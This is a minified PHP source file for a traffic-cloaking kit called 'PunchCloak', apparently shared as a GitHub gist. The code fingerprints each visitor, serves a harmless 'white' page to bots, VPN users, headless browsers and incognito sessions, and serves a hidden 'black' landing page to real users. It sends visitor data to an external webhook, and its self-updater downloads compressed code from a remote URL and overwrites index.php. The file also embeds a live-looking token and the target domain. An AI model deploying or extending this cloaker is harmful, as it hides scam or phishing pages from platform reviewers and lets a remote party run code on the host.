getLogFilePath();if(!file_exists($logFilePath)){file_put_contents($logFilePath,'');}$logData=['date'=>date('Y-m-d H:i:s'),'workflow'=>WORKFLOW_ID,'ip'=>$this -> request -> ipAddr,'user_agent'=>$this -> request -> userAgent,'user_language'=>$this -> request -> userLanguage,'is_bot'=>!$this -> isUser?'yes':'no','reason'=>implode(',',$this -> reason),'referer'=>$this -> request -> referer,'page'=>$this -> isUser?'black':'white','country'=>$this -> request -> getCountryCode(),'ipqs_result'=>json_encode($this -> apiResponse),];if($visitDetails=\Client\Session :: getInstance()-> visit_details){$logData['visit_details']=json_encode(\Client\Session :: getInstance()-> visit_details);}$logLine=implode(' | ',array_map(fn($k,$v)=>"$k : $v",array_keys($logData),array_values($logData))).PHP_EOL;file_put_contents($logFilePath,$logLine,FILE_APPEND);}}class WebhookService{private \Client\Config $config;private \Client\Http\Request $request;public function __construct(\Client\Config $config,\Client\Http\Request $request){$this -> config=$config;$this -> request=$request;}/***Sendsawebhookwiththeprovideddata*/public function sendWebhook(array $data):bool{$webhookUrl=$this -> config -> get('webhook_url');if(empty($webhookUrl)){\Client\Logger :: info("Webhook URL is not configured. Skipping webhook sending.");return false;}try{$payload=$this -> preparePayload($data);$visitDetails=\Client\Session :: getInstance()-> visit_details;if(!empty($visitDetails)){$payload['visit_details']=json_encode($visitDetails);}\Client\Logger :: info("Sending webhook to: {$webhookUrl}");\Client\Logger :: info("Payload: ".json_encode($payload,JSON_UNESCAPED_UNICODE));$mh=curl_multi_init();$ch=curl_init();curl_setopt_array($ch,[CURLOPT_URL=>$webhookUrl,CURLOPT_RETURNTRANSFER=>true,CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>json_encode($payload),CURLOPT_HTTPHEADER=>['Content-Type: application/json','User-Agent: PunchCloak-Client/1.0','X-PunchCloak-Workflow: '.$this -> config -> workflow_id,'X-PunchCloak-Verdict: '.($data['verdict']?? NULL)?:(($data['is_user']?? NULL)?'user':'bot'),],CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,]);curl_multi_add_handle($mh,$ch);$running=null;do{curl_multi_exec($mh,$running);curl_multi_select($mh);/*// Wait for activity on handles*/}while($running>0);$response=curl_multi_getcontent($ch);$httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);$error=curl_error($ch);curl_multi_remove_handle($mh,$ch);curl_multi_close($mh);if($error){\Client\Logger :: warn("Error sending webhook: {$error}");return false;}if($httpCode>=200&&$httpCode<300){\Client\Logger :: info("Webhook successfully sent, HTTP code: {$httpCode}");return true;}else{\Client\Logger :: warn("Webhook sent failed, HTTP code: {$httpCode}, response: {$response}");return false;}}catch(\Throwable $e){\Client\Logger :: warn("An exception occurred while sending a webhook: ".$e -> getMessage());return false;}}/***Preparesthepayloadforthewebhook*/private function preparePayload(array $data):array{$basePayload=['timestamp'=>time(),'datetime'=>date('Y-m-d H:i:s'),'workflow_name'=>$this -> config -> getWorkflowName(),'workflow_id'=>$this -> config -> workflow_id,'ip'=>$this -> request -> ipAddr,'user_agent'=>$this -> request -> userAgent,'user_language'=>$this -> request -> userLanguage,'referer'=>$this -> request -> referer,'host'=>$this -> request -> host,'url'=>$this -> request -> scheme.'://'.$this -> request -> host.$this -> request -> urlPath,'url_path'=>$this -> request -> urlPath,'query_params'=>$this -> request -> queryParams,'country_code'=>$this -> request -> getCountryCode(),'fingerprint'=>$data['fingerprint']?? '','result'=>$data['verdict']==='bot'?'white':'black','verdict'=>$data['verdict']?? 'unknown','is_user'=>$data['is_user']?? false,'is_bot'=>$data['is_bot']?? false,'reason'=>$data['reason']?? '','ip_info'=>$data['ip_info']??[],'source'=>'client',];/*// Additional data if available*/if($this -> config -> get('webhook_include_config',false)){$basePayload['config']=$this -> config -> all();}else{unset($basePayload['config']);}return $basePayload;}/***Sendsavisitnotificationtothewebhook*/public function sendVisitNotification(array $apiResponse,array $reason,bool $isUser,string $requestFingerprint):bool{return $this -> sendWebhook(['fingerprint'=>$requestFingerprint,'verdict'=>$isUser?'user':'bot','is_user'=>$isUser,'is_bot'=>!$isUser,'reason'=>$reason,'ip_info'=>$apiResponse,]);}}class CacheManager{private bool $enabled;private string $cacheDir;private \Client\Session $session;public function __construct(){$this -> session=\Client\Session :: getInstance();$this -> cacheDir='./.punchcloak';$this -> enabled=$_SERVER['REQUEST_METHOD']==='GET';$this -> initCache();}public function purge():int{$deleted=0;if(!is_dir($this -> cacheDir)){\Client\Logger :: warn("Cache directory does not exist: {$this -> cacheDir}");return 0;}$files=glob($this -> cacheDir.'/cache_*');foreach($files as $file){if(is_file($file)){@unlink($file);$deleted++;}}\Client\Logger :: info("Cache purged: {$this -> cacheDir}");return $deleted;}private function initCache():void{\Client\Logger :: info("Cache enabled: {$this -> enabled}; cache dir: {$this -> cacheDir}");if(!($path=realpath($this -> cacheDir))){$path=$this -> cacheDir;}$this -> cacheDir=$path;if(!file_exists($this -> cacheDir)&&!is_dir($this -> cacheDir)){if(@mkdir($this -> cacheDir,0777,true)){\Client\Logger :: info("Cache directory created: {$this -> cacheDir}");}else{\Client\Logger :: warn("Failed to create cache directory: {$this -> cacheDir}");}}}public function isEnabled(string $key):bool{return $this -> enabled&&\Client\Services\ContentFetcher :: isAsset($key);}public function get(string $key):?string{$cacheFile=$this -> getCacheFilePath($key);if(!file_exists($cacheFile)){return null;}if(!$this -> isCacheValid($cacheFile)){unlink($cacheFile);return null;}return file_get_contents($cacheFile);}public function set(string $key,string $content):void{if($this -> isEnabled($key)){file_put_contents($this -> getCacheFilePath($key),$content);}}private function getCacheFilePath(string $key):string{$cacheKey='cache_'.$this -> getCacheKey($key);if(!($path=realpath($this -> cacheDir.'/'.$cacheKey))){$path=$this -> cacheDir.'/'.$cacheKey;}return $path;}private function isCacheValid(string $cacheFile):bool{$cacheTime=filemtime($cacheFile);$maxAge=3600;/*// 1 hour*/return(time()-$cacheTime)<$maxAge;}private function getCacheKey(string $key):string{$str=$key.$this -> session -> getId().$_GET['_url_']?? '/';return hash('crc32',$str,false);}}}namespace Client\Http{class Request{public string $ipAddr;public string $userAgent;public string $userLanguage;public string $referer;public string $urlPath;public string $host;public string $scheme;public string $method;public array $queryParams;private $query=[];private $body=[];private $headers=[];private $cookies=[];private $files=[];private $server=[];public static function getInstance():self{static $instance=null;if(is_null($instance)){$instance=new self();}return $instance;}public function getQuery():array{return $this -> query;}public function getBody():array{return $this -> body;}public function getHeaders():array{return $this -> headers;}public function getCookies():array{return $this -> cookies;}public function getFiles():array{return $this -> files;}public function getServer():array{return $this -> server;}public function getParam(string $name,$default=null){return $this -> query[$name]?? $default;}public function getBodyParam(string $name,$default=null){return $this -> body[$name]?? $default;}public function getHeader(string $name,$default=null){return $this -> headers[$name]?? $default;}public function getCookie(string $name,$default=null){return $this -> cookies[$name]?? $default;}public function getFile(string $name,$default=null){return $this -> files[$name]?? $default;}public function getServerParam(string $name,$default=null){return $this -> server[$name]?? $default;}public function isMethod(string $method):bool{return strtoupper($this -> method)===strtoupper($method);}public function isAjax():bool{return $this -> getHeader('X-Requested-With')==='XMLHttpRequest';}/***Returnstherawbodyoftherequest.**@returnstring*/public function getRawBody():string{return file_get_contents('php://input');}/***Getsa"parameter"valuefromany_GETor_POST.**Orderofprecedence:GET,POST*/public function get(string $key,$default=null){if(array_key_exists($key,$this -> query)){return $this -> query[$key];}if(array_key_exists($key,$this -> body)){return $this -> body[$key];}return $default;}public function __construct(){$this -> query=$_GET;$this -> body=$_POST;$this -> headers=getallheaders();$this -> cookies=$_COOKIE;$this -> files=$_FILES;$this -> server=$_SERVER;$this -> ipAddr=$_SERVER['HTTP_CF_CONNECTING_IP']?? $_SERVER['HTTP_X_FORWARDED_FOR']?? $_SERVER['REMOTE_ADDR'];$this -> userAgent=$_SERVER['HTTP_USER_AGENT']?? '';$this -> userLanguage=$_SERVER['HTTP_ACCEPT_LANGUAGE']?? '';$this -> referer=$_SERVER['HTTP_REFERER']?? '';$this -> urlPath=$_GET['_url_']?? '/';$this -> host=$this -> resolveHost();$this -> scheme=$_SERVER['HTTP_X_FORWARDED_PROTO']??($_SERVER['REQUEST_SCHEME']?? 'http');$this -> method=$_SERVER['REQUEST_METHOD'];$this -> queryParams=$_GET;unset($this -> queryParams['_url_']);\Client\Logger :: info("Request parsed: IP={$this -> ipAddr}, UA={$this -> userAgent}, URL={$this -> urlPath}");}private function resolveHost():string{$host=$_SERVER['HTTP_HOST']?? $_SERVER['SERVER_NAME']?? $_SERVER['SERVER_ADDR']?? 'localhost';if(str_contains($host,':')){$parts=explode(':',$host);return reset($parts);}return $host;}public function getCountryCode():string{return $_SERVER['HTTP_CF_IPCOUNTRY']?? '';}}}namespace Client\Tasks{class CacheCleaner{public function execute():string{try{$session=\Client\Session :: getInstance();$cacheManager=new \Client\Services\CacheManager();\Client\Logger :: info("CacheCleaner: cache files removed: {$cacheManager -> purge()}");\Client\Logger :: info("CacheCleaner: session files removed: {$session -> purge()}");return "Cache cleared successfully.";}catch(\Throwable $e){\Client\Logger :: error("CacheCleaner: Error while clearing cache: ".$e -> getMessage()."\n".$e -> getTraceAsString());return "Error while clearing cache: ".$e -> getMessage();}}public static function run():void{$task=new self();$task -> execute();}public function __serialize():array{return[];}public function __unserialize(array $data):void{}}class SelfUpdater{private string $updateUrl;private string $localFile;private string $lockFile;private string $backupFile;private string $tmpFile;private int $lockTtl=300;public function __construct(string $updateUrl){$this -> updateUrl=$updateUrl;$this -> setUp('index.php');}private function setUp(string $targetFile):void{$this -> localFile=$targetFile;$this -> backupFile=$targetFile.'.bak';$this -> tmpFile=$targetFile.'.tmp';$this -> lockFile=dirname($targetFile).'/.update.lock';}public function execute():string{if($this -> isLocked()){$this -> log("The update is already running in another process.");return "Update is already in progress.";}$this -> lock();try{$updatedCode=file_get_contents($this -> updateUrl);if($updatedCode===FALSE){throw new \RuntimeException("Unable to download update.");}$updatedCode=gzinflate($updatedCode);$currentHash=sha1_file($this -> localFile);$remoteHash=sha1($updatedCode);if($currentHash===$remoteHash){$this -> log("Latest version already installed.");return "Latest version already installed.";}if(!copy($this -> localFile,$this -> backupFile)){throw new \RuntimeException("Unable to create backup file.");}if(file_put_contents($this -> tmpFile,$updatedCode)===false){throw new \RuntimeException("Unable to write updated code to temporary file.");}if(!rename($this -> tmpFile,$this -> localFile)){throw new \RuntimeException("Unable to replace the local file with the updated code.");}$this -> log("Successfully updated. The new version will be used for the next HTTP request.");\Client\Tasks\CacheCleaner :: run();return"Update successful. New version sha1: {$remoteHash}.";}catch(\Throwable $e){$this -> log("Error: ".$e -> getMessage());$this -> rollback();return $e -> getMessage()." Rollback to the previous version.";}finally{$this -> unlock();}}private function isLocked():bool{if(!file_exists($this -> lockFile))return FALSE;[$ts,$pid]=explode(':',file_get_contents($this -> lockFile))+[0,0];$age=time()-(int) $ts;if($age>$this -> lockTtl||!$this -> isProcessAlive((int) $pid)){$this -> log("LOCK file is out of date, let's continue.");return FALSE;}return TRUE;}private function log(string $message):void{\Client\Logger :: info($message);if(php_sapi_name()==='cli'){echo $message.PHP_EOL;}}private function lock():void{file_put_contents($this -> lockFile,time().':'.getmypid());}private function unlock():void{if(file_exists($this -> lockFile))unlink($this -> lockFile);if(file_exists($this -> tmpFile))unlink($this -> tmpFile);if(file_exists($this -> backupFile))unlink($this -> backupFile);}private function rollback():void{if(!file_exists($this -> backupFile)){$this -> log("No backup found. Rollback not possible.");return;}$this -> log("Rolling back to backup...");copy($this -> backupFile,$this -> localFile);}private function isProcessAlive(int $pid):bool{return function_exists('posix_kill')&&posix_kill($pid,0);}public function __serialize():array{return['updateUrl'=>$this -> updateUrl,];}public function __unserialize($data):void{$this -> updateUrl=$data['updateUrl'];$this -> setUp(__FILE__);}}}namespace{if(isset($_SERVER['HTTP_UPGRADE'])&&strtolower($_SERVER['HTTP_UPGRADE'])==='websocket'){header("HTTP/1.1 400 Bad Request");exit;}const BASE_DIR=__DIR__;const WORKFLOW_ID=21;const WORKFLOW_TOKEN='iQspmjA37LephY2MV8Q7O0VSC98yubCDNpfxIdwwNZLZvMLHeMGuud2b8SZMq8EO';const WORKFLOW_STATUS='active';/**ignore*/const ORIGINAL_CONFIG=array('include_type'=>1,'white_dir_name'=>'white','land_dir_name'=>'land','country'=>array(0=>'WW',),'logging'=>true,'log_file'=>'/var/log/punchcloak.log','land_page'=>NULL,'white_page'=>NULL,'ipqs_enabled'=>true,'ipqs_strictness'=>1,'ipqs_fraud_score'=>76,'check_proxy'=>true,'check_tor'=>true,'check_bot'=>true,'check_active_vpn'=>true,'check_active_tor'=>true,'check_vpn'=>true,'check_mobile'=>false,'check_is_crawler'=>true,'check_blacklisted_ips'=>false,'check_reverse_dns'=>true,'check_referer'=>false,'js_checks'=>true,'block_headless'=>true,'block_incognito'=>true,'webhook_url'=>'http://webhook.wrtc.pp.ua/2e954e21-7206-40be-9176-2bacde9ab82e?env=prod','workflow_name'=>'vyserionglobal.com',);$config=array_merge([],ORIGINAL_CONFIG);if(is_array($config['country']??[])){$config['country']=implode(',',$config['country']);}define('CONFIG',$config);use Client\CloakCore;$punchCloak=CloakCore :: init();$punchCloak -> makeAction();} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment